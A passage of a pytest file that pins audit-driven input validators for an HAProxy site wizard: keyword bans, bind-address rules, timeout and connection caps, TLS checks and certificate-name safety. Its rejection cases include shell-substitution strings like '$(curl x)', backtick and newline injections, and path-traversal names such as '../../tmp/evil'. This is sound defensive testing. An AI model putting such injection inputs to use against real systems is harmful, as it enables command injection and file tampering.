ServerStep(server_name=kw, server_address="10.0.0.1", server_port=80)
@pytest.mark.parametrize("kw", ["if", "unless", "or", "and"])
def test_bulgu43_acl_operator_keywords_rejected(kw):
"""ACL operator keywords would silently shadow `use_backend X if Y`
grammar tokens."""
from models.site_wizard import BackendStep
with pytest.raises(ValidationError, match="ACL operator keyword"):
BackendStep(name=kw)
def test_bulgu43_non_keyword_names_still_accepted():
"""Normal names must keep working — make sure the guard is
targeted, not a regression."""
from models.site_wizard import BackendStep, FrontendStep, ServerStep
BackendStep(name="my-backend")
FrontendStep(name="my-frontend")
ServerStep(server_name="srv1", server_address="10.0.0.1", server_port=80)
# ---- Bulgu #44 — bind_address character class ----
@pytest.mark.parametrize("bad", [
"foo bar", # embedded space → silent address truncation
" * ", # leading/trailing whitespace
"-r", # CLI flag confusion
"/etc/x", # path-style nonsense
"$(curl x)", # shell metacharacter
"10.0.0.1`", # backtick
"1.1.1.1\n", # newline injection
"", # empty
" ", # whitespace-only
"@", # bare env reference without varname
])
def test_bulgu44_bind_address_rejects_bad_values(bad):
"""The renderer interpolates bind_address verbatim into
`bind <addr>:<port>`. Reject anything outside the safe class."""
from models.site_wizard import FrontendStep
with pytest.raises(ValidationError):
FrontendStep(name="fe", bind_address=bad)
@pytest.mark.parametrize("good", [
"*",
"0.0.0.0",
"127.0.0.1",
"192.168.1.1",
"[::1]",
"[2001:db8::1]",
"example.com",
"my-host",
"@HAPROXY_BIND_IP",
])
def test_bulgu44_bind_address_accepts_canonical_forms(good):
"""All standard HAProxy bind host forms must continue to work."""
from models.site_wizard import FrontendStep
m = FrontendStep(name="fe", bind_address=good)
assert m.bind_address == good
# ---- Bulgu #45 — timeout upper bounds (HAProxy INT_MAX defence) ----
def test_bulgu45_backend_timeout_rejects_overflow_value():
"""timeout_connect=10**18 overflows HAProxy's signed int32 ms
parser. Cap at 24h (well below INT_MAX)."""
from models.site_wizard import BackendStep
with pytest.raises(ValidationError):
BackendStep(name="be", timeout_connect=10**18)
def test_bulgu45_backend_timeout_accepts_24h():
"""24h (86_400_000 ms) is the documented practical maximum."""
from models.site_wizard import BackendStep
m = BackendStep(name="be", timeout_connect=86_400_000)
assert m.timeout_connect == 86_400_000
def test_bulgu45_backend_timeout_rejects_24h_plus_1():
"""One ms beyond 24h is rejected — defensive cliff."""
from models.site_wizard import BackendStep
with pytest.raises(ValidationError):
BackendStep(name="be", timeout_connect=86_400_001)
def test_bulgu45_frontend_timeout_bounds():
"""Frontend timeouts share the same upper bound."""
from models.site_wizard import FrontendStep
with pytest.raises(ValidationError):
FrontendStep(name="fe", timeout_client=86_400_001)
with pytest.raises(ValidationError):
FrontendStep(name="fe", timeout_http_request=86_400_001)
def test_bulgu45_server_inter_bounded_at_24h():
"""Per-server `inter` health-check interval upper bound."""
from models.site_wizard import ServerStep
with pytest.raises(ValidationError):
ServerStep(
server_name="s", server_address="10.0.0.1", server_port=80,
inter=86_400_001,
)
def test_bulgu45_server_fall_rise_capped_at_100():
"""HAProxy documents the fall/rise upper bound as 100."""
from models.site_wizard import ServerStep
with pytest.raises(ValidationError):
ServerStep(
server_name="s", server_address="10.0.0.1", server_port=80,
fall=101,
)
with pytest.raises(ValidationError):
ServerStep(
server_name="s", server_address="10.0.0.1", server_port=80,
rise=101,
)
# ---- Bulgu #46 — maxconn / rate_limit / fullconn upper bounds ----
def test_bulgu46_maxconn_capped_at_1m():
"""maxconn > 1M is almost always a typo and produces a config
the agent's `ulimit -n` cannot satisfy."""
from models.site_wizard import FrontendStep
with pytest.raises(ValidationError):
FrontendStep(name="fe", maxconn=1_000_001)
def test_bulgu46_rate_limit_capped_at_1m():
from models.site_wizard import FrontendStep
with pytest.raises(ValidationError):
FrontendStep(name="fe", rate_limit=1_000_001)
def test_bulgu46_fullconn_capped_at_1m():
from models.site_wizard import BackendStep
with pytest.raises(ValidationError):
BackendStep(name="be", fullconn=1_000_001)
def test_bulgu46_server_max_connections_capped_at_1m():
from models.site_wizard import ServerStep
with pytest.raises(ValidationError):
ServerStep(
server_name="s", server_address="10.0.0.1", server_port=80,
max_connections=1_000_001,
)
def test_bulgu46_one_million_still_accepted():
"""The boundary value (1,000,000) is the documented ceiling and
MUST continue to pass — Bulgu #46 is a sanity cap, not a
restriction on legitimate large deployments."""
from models.site_wizard import FrontendStep, BackendStep
FrontendStep(name="fe", maxconn=1_000_000, rate_limit=1_000_000)
BackendStep(name="be", fullconn=1_000_000)
# ---- Bulgu #48 — ALPN h2 + ssl_min_ver consistency ----
def test_bulgu48_h2_alpn_without_min_ver_rejected():
"""Advertising h2 with no min_ver set means HAProxy may
negotiate < TLS 1.2; modern browsers refuse h2 in that case."""
from models.site_wizard import SSLChoice
with pytest.raises(ValidationError, match="RFC 7540"):
SSLChoice(mode="none", ssl_alpn="h2,http/1.1")
def test_bulgu48_h2_alpn_with_tls12_accepted():
"""Explicit TLS 1.2 + h2 is the canonical safe combination."""
from models.site_wizard import SSLChoice
m = SSLChoice(mode="none", ssl_alpn="h2,http/1.1", ssl_min_ver="TLSv1.2")
assert m.ssl_alpn == "h2,http/1.1"
def test_bulgu48_h2_alpn_with_tls13_accepted():
from models.site_wizard import SSLChoice
m = SSLChoice(mode="none", ssl_alpn="h2", ssl_min_ver="TLSv1.3")
assert m.ssl_alpn == "h2"
def test_bulgu48_no_h2_alpn_does_not_require_min_ver():
"""When h2 is not in the ALPN list, the cross-field check
short-circuits — operators with http/1.1-only services don't
need to think about TLS 1.2 yet."""
from models.site_wizard import SSLChoice
# min_ver=None is fine when h2 is absent.
m = SSLChoice(mode="none", ssl_alpn="http/1.1")
assert m.ssl_alpn == "http/1.1"
# ---- Bulgu #49 — all servers backup_server=true reject ----
def test_bulgu49_all_backup_servers_rejected():
"""Two-or-more servers all flagged backup → traffic black-hole."""
from models.site_wizard import SiteCreate
with pytest.raises(ValidationError, match="backup_server=true"):
SiteCreate(
cluster_id=1, domains=["example.com"],
backend={"name": "be"},
servers=[
{"server_name": "s1", "server_address": "10.0.0.1", "server_port": 80, "backup_server": True},
{"server_name": "s2", "server_address": "10.0.0.2", "server_port": 80, "backup_server": True},
],
frontend={"name": "fe", "bind_port": 80, "mode": "http"},
ssl={"mode": "none"},
)
def test_bulgu49_single_backup_server_accepted():
"""A single backup server is a legitimate 'no traffic during
deploy' pattern; the guard fires only for 2+ servers."""
from models.site_wizard import SiteCreate
p = SiteCreate(
cluster_id=1, domains=["example.com"],
backend={"name": "be"},
servers=[
{"server_name": "s1", "server_address": "10.0.0.1", "server_port": 80, "backup_server": True},
],
frontend={"name": "fe", "bind_port": 80, "mode": "http"},
ssl={"mode": "none"},
)
assert p.servers[0].backup_server is True
def test_bulgu49_mixed_primary_backup_accepted():
"""At least ONE primary makes the backend valid; backup slots are
legitimate failover patterns."""
from models.site_wizard import SiteCreate
p = SiteCreate(
cluster_id=1, domains=["example.com"],
backend={"name": "be"},
servers=[
{"server_name": "s1", "server_address": "10.0.0.1", "server_port": 80, "backup_server": False},
{"server_name": "s2", "server_address": "10.0.0.2", "server_port": 80, "backup_server": True},
{"server_name": "s3", "server_address": "10.0.0.3", "server_port": 80, "backup_server": True},
],
frontend={"name": "fe", "bind_port": 80, "mode": "http"},
ssl={"mode": "none"},
)
primaries = [s for s in p.servers if not s.backup_server]
assert len(primaries) == 1
# ---- Round 17 static-source markers ----
def test_round17_static_markers_present():
"""Pin all round-17 Bulgu markers so future refactors don't
silently drop the guards."""
src = _backend_src("models/site_wizard.py")
for marker in (
"Bulgu #43 (round-17 audit)",
"Bulgu #44 (round-17 audit)",
"Bulgu #45 (round-17 audit)",
"Bulgu #46 (round-17 audit)",
"Bulgu #48 (round-17 audit)",
"Bulgu #49 (round-17 audit)",
):
assert marker in src, (
f"Round 17 marker missing from models/site_wizard.py: {marker}"
)
# Helper-name pins.
for symbol in (
"_HAPROXY_SECTION_KEYWORDS",
"_ACL_RESERVED_KEYWORDS",
"_BIND_ADDRESS_REGEX",
"_MAX_HAPROXY_TIMEOUT_MS",
"_MAX_HAPROXY_CONN_LIMIT",
"_validate_not_haproxy_keyword",
"reject_all_backup_servers",
):
assert symbol in src, (
f"Round 17: symbol {symbol} missing or renamed in "
"models/site_wizard.py"
)
# ---- Bulgu #50 — all servers weight=0 reject ----
def test_bulgu50_all_zero_weight_servers_rejected():
"""Two+ servers all weight=0 → drain everywhere → 503 cascade."""
from models.site_wizard import SiteCreate
with pytest.raises(ValidationError, match="weight=0"):
SiteCreate(
cluster_id=1, domains=["example.com"],
backend={"name": "be"},
servers=[
{"server_name": "s1", "server_address": "10.0.0.1", "server_port": 80, "weight": 0},
{"server_name": "s2", "server_address": "10.0.0.2", "server_port": 80, "weight": 0},
],
frontend={"name": "fe", "bind_port": 80, "mode": "http"},
ssl={"mode": "none"},
)
def test_bulgu50_single_zero_weight_server_accepted():
"""A single weight=0 server is a legitimate `draining for
maintenance` pattern; the guard fires only for 2+ servers."""
from models.site_wizard import SiteCreate
p = SiteCreate(
cluster_id=1, domains=["example.com"],
backend={"name": "be"},
servers=[
{"server_name": "s1", "server_address": "10.0.0.1", "server_port": 80, "weight": 0},
],
frontend={"name": "fe", "bind_port": 80, "mode": "http"},
ssl={"mode": "none"},
)
assert p.servers[0].weight == 0
def test_bulgu50_mixed_zero_and_nonzero_weight_accepted():
"""At least ONE server with weight>0 keeps the backend live; the
others can be slowly drained for canary or maintenance flows."""
from models.site_wizard import SiteCreate
p = SiteCreate(
cluster_id=1, domains=["example.com"],
backend={"name": "be"},
servers=[
{"server_name": "s1", "server_address": "10.0.0.1", "server_port": 80, "weight": 100},
{"server_name": "s2", "server_address": "10.0.0.2", "server_port": 80, "weight": 0},
{"server_name": "s3", "server_address": "10.0.0.3", "server_port": 80, "weight": 0},
],
frontend={"name": "fe", "bind_port": 80, "mode": "http"},
ssl={"mode": "none"},
)
assert sum(1 for s in p.servers if s.weight > 0) == 1
# ---- Bulgu #51 — hsts_enabled with ssl.mode='none' reject ----
def test_bulgu51_hsts_with_ssl_mode_none_rejected():
"""hsts_enabled=true + ssl.mode='none' is a silent misconfig —
no HTTPS frontend is created, so HSTS is never emitted."""
from models.site_wizard import SiteCreate
with pytest.raises(ValidationError, match="hsts_enabled"):
SiteCreate(
cluster_id=1, domains=["example.com"],
backend={"name": "be"},
servers=[
{"server_name": "s1", "server_address": "10.0.0.1", "server_port": 80},
],
frontend={"name": "fe", "bind_port": 80, "mode": "http"},
ssl={"mode": "none", "hsts_enabled": True},
)
def test_bulgu51_hsts_with_ssl_mode_upload_accepted():
"""HSTS is fine when an HTTPS frontend will actually exist."""
from models.site_wizard import SiteCreate
# Use a tiny but parse-valid PEM blob; we only need the model
# to accept the upload — content validation happens at apply
# time. Generate a fresh self-signed cert via the cryptography
# library so we don't rely on a bundled test cert.
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from datetime import datetime, timedelta, timezone
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "example.com")])
cert = (
x509.CertificateBuilder()
.subject_name(name)
.issuer_name(name)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(datetime.now(timezone.utc) - timedelta(days=1))
.not_valid_after(datetime.now(timezone.utc) + timedelta(days=30))
.add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), critical=False)
.sign(key, hashes.SHA256())
)
cert_pem = cert.public_bytes(serialization.Encoding.PEM).decode()
key_pem = key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption(),
).decode()
p = SiteCreate(
cluster_id=1, domains=["example.com"],
backend={"name": "be"},
servers=[
{"server_name": "s1", "server_address": "10.0.0.1", "server_port": 80},
],
frontend={"name": "fe", "bind_port": 80, "mode": "http"},
ssl={
"mode": "upload",
"hsts_enabled": True,
"name": "test-cert",
"certificate_content": cert_pem,
"private_key_content": key_pem,
},
)
assert p.ssl.hsts_enabled is True
def test_bulgu51_no_hsts_with_ssl_mode_none_accepted():
"""ssl.mode='none' alone is fine — only the combination with
hsts_enabled=true is rejected."""
from models.site_wizard import SiteCreate
p = SiteCreate(
cluster_id=1, domains=["example.com"],
backend={"name": "be"},
servers=[
{"server_name": "s1", "server_address": "10.0.0.1", "server_port": 80},
],
frontend={"name": "fe", "bind_port": 80, "mode": "http"},
ssl={"mode": "none"},
)
assert p.ssl.mode == "none"
assert p.ssl.hsts_enabled is False
# ---- Bulgu #52 — post_completion cluster existence check ----
def test_bulgu52_post_completion_cluster_missing_marker_present():
"""Static-source pin: routers/letsencrypt.py must check that
cluster_id still exists before creating the deferred HTTPS
frontend, returning a `cluster_missing` outcome with the same
shape as `backend_missing`."""
src = _backend_src("routers/letsencrypt.py")
assert "Bulgu #52 (round-18 audit)" in src
# The action's error key drives the activity-log message; pin it.
assert '"cluster_missing"' in src
# Pin the SELECT we rely on.
assert "FROM haproxy_clusters" in src
assert "is_active = TRUE" in src
# ---- Bulgu #53 — extend domain-routing collision scan to inline conditions ----
def test_bulgu53_extract_host_from_inline_use_backend_condition():
"""The _HOST_ACL_RE regex already handles inline `{ hdr(host) -i
a.com }` blocks — pin that. Round-18 broadens the SCAN scope
(where we LOOK for these strings), not the parser."""
from routers.site_wizard import _extract_host_values_from_acl
# Inline form an operator may type into use_backend_rules.
raw = "mybackend if { hdr(host) -i example.com www.example.com }"
values = _extract_host_values_from_acl(raw)
assert "example.com" in values
assert "www.example.com" in values
def test_bulgu53_extract_host_drops_brace_token():
"""The closing `}` of an inline condition is NOT a domain. The
parser should leave it in the value list, but the SET
intersection at the caller drops it (the wizard's domain list
never contains `}`). Pin the harmless behaviour anyway so a
future refactor doesn't accidentally introduce brace handling
that silently changes the result shape."""
from routers.site_wizard import _extract_host_values_from_acl
raw = "mybackend if { hdr(host) -i a.com }"
values = _extract_host_values_from_acl(raw)
assert "a.com" in values
def test_bulgu53_collision_scan_includes_use_backend_rules_marker():
"""Static-source pin: the cluster-wide domain collision helper
must query `use_backend_rules`, `redirect_rules`,
`tcp_request_rules` in addition to `acl_rules`."""
src = _backend_src("routers/site_wizard.py")
assert "Bulgu #53 (round-18 audit)" in src
# Pin the explicit SELECT column set so a future refactor doesn't
# silently drop one of the scanned fields.
snippet = src[src.find("Bulgu #53"):]
assert "SELECT id, name, acl_rules, use_backend_rules" in snippet
assert "redirect_rules" in snippet
assert "tcp_request_rules" in snippet
# The outcome row carries `rule_origin` so the warning can say
# WHERE the conflicting condition lives.
assert '"rule_origin"' in snippet
# ---- Bulgu #54 — cluster-advisory-lock + in-tx re-check ----
def test_bulgu54_create_site_acquires_cluster_advisory_lock():
"""Static-source pin: the wizard's create transaction must acquire
`pg_advisory_xact_lock(18181819, cluster_id)` BEFORE any
INSERT, so two concurrent same-cluster wizard runs serialise
against the same key."""
src = _backend_src("routers/site_wizard.py")
assert "Bulgu #54 (round-19 audit)" in src
# The exact lock SQL pin — namespace `18181819` is distinct from
# the per-user draft-cap lock (`18181818`).
assert "pg_advisory_xact_lock($1, $2)" in src
assert "18181819" in src
# The in-tx re-check must call the same collision helper as
# the pre-flight check (round-15 helper).
snippet = src[src.find("Bulgu #54"):]
# Two distinct uses inside the round-19 block: bind + https-bind.
assert snippet.count("check_bind_port_collision") >= 2
# Late name-collision re-check is also pinned (string split across
# source-line boundaries so we look for the trailing fragment).
assert "created by another request just now" in snippet
# ---- Bulgu #55 — preview warning when 0 online agents ----
def test_bulgu55_preview_no_online_agents_marker_present():
"""Static-source pin: preview must surface a warning when
apply_immediately=true and the target cluster has zero online
agents — otherwise the operator gets a 200 response, DB says
APPLIED, but no HAProxy node received the new config."""
src = _backend_src("routers/site_wizard.py")
assert "Bulgu #55 (round-19 audit)" in src
snippet = src[src.find("Bulgu #55"):]
# The agent count query must filter on enabled + online and join
# via pool_id (the canonical cluster→agent join).
assert "a.status = 'online'" in snippet
assert "a.enabled = TRUE" in snippet
assert "c.pool_id = a.pool_id" in snippet
# ACME-mode escalation note must call out the 24h wizard_staged
# timeout so the operator knows the order will be cleaned up.
assert "wizard_staged" in snippet
# ---- Bulgu #56 — TCP + request/response_headers reject ----
def test_bulgu56_frontend_tcp_with_request_headers_rejected():
"""request_headers emit `http-request set-header` which HAProxy
refuses on a TCP frontend."""
from models.site_wizard import FrontendStep
with pytest.raises(ValidationError, match="HTTP-only field"):
FrontendStep(
name="fe", mode="tcp", bind_port=4000,
request_headers="http-request set-header X-Foo bar",
)
def test_bulgu56_frontend_tcp_with_response_headers_rejected():
from models.site_wizard import FrontendStep
with pytest.raises(ValidationError, match="HTTP-only field"):
FrontendStep(
name="fe", mode="tcp", bind_port=4000,
response_headers="http-response set-header X-Foo bar",
)
def test_bulgu56_frontend_http_with_request_headers_accepted():
"""HTTP-mode frontends carry headers normally — the guard fires
only for TCP mode."""
from models.site_wizard import FrontendStep
fe = FrontendStep(
name="fe", mode="http", bind_port=8080,
request_headers="http-request set-header X-Foo bar",
)
assert fe.request_headers
def test_bulgu56_backend_tcp_with_request_headers_rejected():
"""Backend-side companion of the FrontendStep guard."""
from models.site_wizard import BackendStep
with pytest.raises(ValidationError, match="HTTP-only field"):
BackendStep(
name="be", mode="tcp",
request_headers="http-request set-header X-Foo bar",
)
def test_bulgu56_backend_tcp_with_response_headers_rejected():
from models.site_wizard import BackendStep
with pytest.raises(ValidationError, match="HTTP-only field"):
BackendStep(
name="be", mode="tcp",
response_headers="http-response set-header X-Foo bar",
)
def test_bulgu56_backend_tcp_with_cookie_name_still_rejected():
"""Pre-existing TCP+cookie rejection (R12) must continue to
fire — the round-19 refactor must not regress the older guard."""
from models.site_wizard import BackendStep
with pytest.raises(ValidationError, match="HTTP-only field"):
BackendStep(name="be", mode="tcp", cookie_name="SRVNAME")
# ---- Bulgu #57 — TCP frontend + hsts_enabled reject ----
def test_bulgu57_tcp_frontend_with_hsts_enabled_rejected():
"""HSTS is HTTP-only; TCP frontend + hsts_enabled=true would emit
`http-response set-header` inside a `mode tcp` block."""
from models.site_wizard import SiteCreate
# Build a TCP site with hsts_enabled toggled on the SSL leg.
# Use ssl.mode='upload' (real HTTPS frontend gets created) with
# a fresh self-signed cert so the model validators don't bail
# before reaching the round-19 check.
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from datetime import datetime, timedelta, timezone
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "example.com")])
cert = (
x509.CertificateBuilder()
.subject_name(name).issuer_name(name)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(datetime.now(timezone.utc) - timedelta(days=1))
.not_valid_after(datetime.now(timezone.utc) + timedelta(days=30))
.add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), critical=False)
.sign(key, hashes.SHA256())
)
cert_pem = cert.public_bytes(serialization.Encoding.PEM).decode()
key_pem = key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption(),
).decode()
with pytest.raises(ValidationError, match="hsts_enabled"):
SiteCreate(
cluster_id=1, domains=["example.com"],
backend={"name": "be", "mode": "tcp"},
servers=[{"server_name": "s1", "server_address": "10.0.0.1", "server_port": 80}],
frontend={"name": "fe", "mode": "tcp", "bind_port": 4000},
ssl={
"mode": "upload",
"hsts_enabled": True,
"name": "test-cert",
"certificate_content": cert_pem,
"private_key_content": key_pem,
},
)
def test_bulgu57_tcp_frontend_without_hsts_accepted():
"""Plain TCP+TLS termination (SNI passthrough class of use cases)
is fine when HSTS is off."""
from models.site_wizard import SiteCreate
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from datetime import datetime, timedelta, timezone
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "example.com")])
cert = (
x509.CertificateBuilder()
.subject_name(name).issuer_name(name)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(datetime.now(timezone.utc) - timedelta(days=1))
.not_valid_after(datetime.now(timezone.utc) + timedelta(days=30))
.add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), critical=False)
.sign(key, hashes.SHA256())
)
cert_pem = cert.public_bytes(serialization.Encoding.PEM).decode()
key_pem = key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption(),
).decode()
p = SiteCreate(
cluster_id=1, domains=["example.com"],
backend={"name": "be", "mode": "tcp"},
servers=[{"server_name": "s1", "server_address": "10.0.0.1", "server_port": 80}],
frontend={"name": "fe", "mode": "tcp", "bind_port": 4000},
ssl={
"mode": "upload",
"hsts_enabled": False,
"name": "test-cert",
"certificate_content": cert_pem,
"private_key_content": key_pem,
},
)
assert p.frontend.mode == "tcp"
assert p.ssl.hsts_enabled is False
# ---- Round 18 static-source markers ----
def test_round18_static_markers_present():
"""Pin all round-18 Bulgu markers so future refactors don't
silently drop the guards."""
src_models = _backend_src("models/site_wizard.py")
src_router = _backend_src("routers/site_wizard.py")
src_le = _backend_src("routers/letsencrypt.py")
for marker in ("Bulgu #50 (round-18 audit)", "Bulgu #51 (round-18 audit)"):
assert marker in src_models, (
f"Round 18 marker missing from models/site_wizard.py: {marker}"
)
assert "Bulgu #52 (round-18 audit)" in src_le, (
"Round 18 marker missing from routers/letsencrypt.py: #52"
)
assert "Bulgu #53 (round-18 audit)" in src_router, (
"Round 18 marker missing from routers/site_wizard.py: #53"
)
# Helper-name pins.
assert "reject_all_zero_weight_servers" in src_models
# ---- Bulgu #58 — list size caps on acl/use_backend/redirect rules ----
def test_bulgu58_acl_rules_oversized_rejected():
"""257 ACL rules exceeds the round-20 cap of 256."""
from models.site_wizard import FrontendStep
rules = [f"acl_{i} hdr(host) -i d{i}.example.com" for i in range(257)]
with pytest.raises(ValidationError):
FrontendStep(name="fe", mode="http", bind_port=80, acl_rules=rules)
def test_bulgu58_acl_rules_at_cap_accepted():
"""Exactly 256 ACL rules must pass — boundary check."""
from models.site_wizard import FrontendStep
rules = [f"acl_{i} hdr(host) -i d{i}.example.com" for i in range(256)]
fe = FrontendStep(name="fe", mode="http", bind_port=80, acl_rules=rules)
assert len(fe.acl_rules) == 256
def test_bulgu58_use_backend_rules_oversized_rejected():
from models.site_wizard import FrontendStep
rules = [f"backend{i} if acl_{i}" for i in range(257)]
with pytest.raises(ValidationError):
FrontendStep(name="fe", mode="http", bind_port=80, use_backend_rules=rules)
def test_bulgu58_redirect_rules_oversized_rejected():
from models.site_wizard import FrontendStep
rules = [{"type": "scheme", "value": "https", "condition": f"acl_{i}"} for i in range(257)]
with pytest.raises(ValidationError):
FrontendStep(name="fe", mode="http", bind_port=80, redirect_rules=rules)
def test_bulgu58_redirect_rules_at_cap_accepted():
from models.site_wizard import FrontendStep
rules = [{"type": "scheme", "value": "https", "condition": f"acl_{i}"} for i in range(256)]
fe = FrontendStep(name="fe", mode="http", bind_port=80, redirect_rules=rules)
assert len(fe.redirect_rules) == 256
# ---- Bulgu #59 — IPv6 scope-id in bind_address ----
def test_bulgu59_ipv6_linklocal_with_scope_id_accepted():
"""Link-local IPv6 with %scope-id (e.g. `[fe80::1%eth0]`) is a
valid HAProxy bind form — the wizard must allow it."""
from models.site_wizard import FrontendStep
fe = FrontendStep(name="fe", mode="http", bind_port=80, bind_address="[fe80::1%eth0]")
assert fe.bind_address == "[fe80::1%eth0]"
def test_bulgu59_ipv6_with_dotted_zone_accepted():
"""VLAN-style zone names (`%bond0.42`) are commonly used in
bonded interfaces — accept them too."""
from models.site_wizard import FrontendStep
fe = FrontendStep(name="fe", mode="http", bind_port=80, bind_address="[fe80::1%bond0.42]")
assert fe.bind_address == "[fe80::1%bond0.42]"
def test_bulgu59_plain_ipv6_still_accepted():
"""No regression — bracketed IPv6 without scope id still passes."""
from models.site_wizard import FrontendStep
fe = FrontendStep(name="fe", mode="http", bind_port=80, bind_address="[2001:db8::1]")
assert fe.bind_address == "[2001:db8::1]"
def test_bulgu59_ipv6_scope_id_must_not_be_empty():
"""`[::1%]` (trailing `%` with no zone) is malformed; reject."""
from models.site_wizard import FrontendStep
with pytest.raises(ValidationError):
FrontendStep(name="fe", mode="http", bind_port=80, bind_address="[::1%]")
# ---- Bulgu #60 — preview validates explicit ssl.account_id ----
def test_bulgu60_preview_explicit_account_marker_present():
"""Static-source pin: preview branch for body.ssl.account_id is
not None must query letsencrypt_accounts directly and surface
invalid status as a warning."""
src = _backend_src("routers/site_wizard.py")
assert "Bulgu #60 (round-20 audit)" in src
snippet = src[src.find("Bulgu #60"):]
assert "letsencrypt_accounts" in snippet
# Distinct warning shapes for missing vs invalid status.
assert "not found" in snippet
assert "not 'valid'" in snippet
# ---- Bulgu #62 follow-up — rule signature normalisation ----
def test_bulgu62_followup_signature_normalises_use_backend_prefix():
"""The FE's ACLRuleBuilder parses the DB rule into a structured
object and serialises it BACK without the `use_backend ` prefix.
The grandfathering signature must therefore IGNORE the prefix
and any whitespace collapse — otherwise every PUT on a wizard-
created frontend looks like a "new" rule and the legitimate
grandfathering path silently fails."""
from routers.frontend import _rule_to_signature, _normalize_rule_string
db_form = "use_backend be-x if acl1 !acl1"
fe_form = "be-x if acl1 !acl1"
assert _rule_to_signature(db_form) == _rule_to_signature(fe_form), (
"Round-tripped FE rule must produce the same signature as the "
"DB-stored rule so grandfathering works"
)
db_redir = "redirect scheme https code 301 if !{ ssl_fc }"
fe_redir = "scheme https code 301 if !{ ssl_fc }"
assert _rule_to_signature(db_redir) == _rule_to_signature(fe_redir)
# Whitespace collapse — extra spaces in DB should not bust the
# signature either.
weird = "use_backend be-x if acl1 !acl1"
assert _rule_to_signature(weird) == _rule_to_signature(fe_form)
# Direct unit test on the lower-level normaliser.
assert _normalize_rule_string("use_backend be-x if x") == "be-x if x"
assert _normalize_rule_string("REDIRECT scheme https") == "scheme https"
assert _normalize_rule_string("be-x if x") == "be-x if x"
def test_bulgu62_followup_grandfathers_after_fe_round_trip():
"""End-to-end pin: simulate the FE flow where the DB has
`use_backend be-x if acl1 !acl1` and the FE re-sends
`be-x if acl1 !acl1` (prefix stripped by ACLRuleBuilder).
The handler must STILL grandfather the contradiction."""
from models.frontend import FrontendConfig
from routers.frontend import (
_enforce_routing_rule_contradictions,
_rule_to_signature,
)
db_rule = "use_backend be-x if acl1 !acl1"
fe_rule = "be-x if acl1 !acl1"
fe = FrontendConfig(
name="fe1", bind_port=81, mode="http",
use_backend_rules=[fe_rule],
)
grand = {_rule_to_signature(db_rule)}
warnings = _enforce_routing_rule_contradictions(
fe, grandfathered_signatures=grand,
)
assert len(warnings) == 1, (
"After signature normalisation the FE-stripped rule must hit "
"the same signature as the DB-prefixed rule and grandfather"
)
# ---- Bulgu #63 — SSL cert name grandfathering on UPDATE ----
def test_bulgu63_create_handler_rejects_unsafe_cert_name():
"""POST /api/ssl/certificates strictly rejects path-traversal
names via the new handler-level helper."""
from fastapi import HTTPException
from routers.ssl import _assert_safe_cert_name
for bad in (
"../../tmp/evil",
"foo/bar.pem",
"..",
".hidden",
"-leading-dash",
" leading-space",
"trailing-space ",
"cert (1).pem",
"*.example.com",
"cert..pem",
):
with pytest.raises(HTTPException) as exc:
_assert_safe_cert_name(bad)
assert exc.value.status_code == 400
def test_bulgu63_create_handler_accepts_safe_cert_name():
"""Safe names must round-trip without raising — covers the
full character class plus dots."""
from routers.ssl import _assert_safe_cert_name
for good in (
"wildcard.example.com",
"ca_bundle",
"letsencrypt-2026-05",
"cert.pem",
"internal-cert",
):
_assert_safe_cert_name(good)
def test_bulgu63_update_grandfathers_unchanged_name():
"""The route handler must call `_assert_safe_cert_name` ONLY
when the operator renames the cert. The model itself no
longer raises so a PUT that leaves `name` at its current
(possibly legacy) value rounds-trips. Static-source pin so
accidental refactors that re-strict the model are caught."""
src = _backend_src("routers/ssl.py")
assert "Bulgu #63 (round-22 audit)" in src
assert "grandfather the existing" in src
assert "_assert_safe_cert_name(certificate.name)" in src
def test_bulgu63_model_no_longer_rejects_legacy_names():
"""Pin that `SSLCertificateUpdate` accepts non-conforming
names so legacy DB rows can still be updated on other
fields. The handler-level helper is the enforcement point
now."""
from models.ssl import SSLCertificateUpdate
legacy = SSLCertificateUpdate(name="cert (1).pem")
assert legacy.name == "cert (1).pem"
# ---- Bulgu #64 — drop 'system'/'exec'/'eval' substring tripwires ----
def test_bulgu64_legitimate_acl_names_with_system_substring_accepted():
"""`is_system`, `subsystem`, `executable_check`, `evaluate_ip`
etc. are perfectly normal HAProxy ACL identifiers. Pre-fix
the substring check rejected them on both wizard and manual
paths. Pin acceptance now."""
from models.frontend import FrontendConfig
fe = FrontendConfig(
name="fe1",
bind_port=80,
mode="http",
acl_rules=[
"is_system hdr(host) -i internal.example.com",
"my_subsystem path_beg /sub",
"block_executable path_end .exe",
"eval_engine_acl path_beg /eval-engine",
],
)
assert len(fe.acl_rules) == 4
def test_bulgu64_use_backend_with_system_token_accepted():
"""Same relaxation for use_backend_rules — a backend name
containing 'system' must round-trip cleanly."""
from models.frontend import FrontendConfig
fe = FrontendConfig(
name="fe1",
bind_port=80,
mode="http",
use_backend_rules=[
"be_internal_system if is_internal",
"be_executable if path_end .bin",
],
)
assert len(fe.use_backend_rules) == 2
def test_bulgu64_actual_shell_substitution_still_blocked():
"""`$(...)` and backtick must STILL be rejected — they're
shell-substitution markers with no legitimate place inside
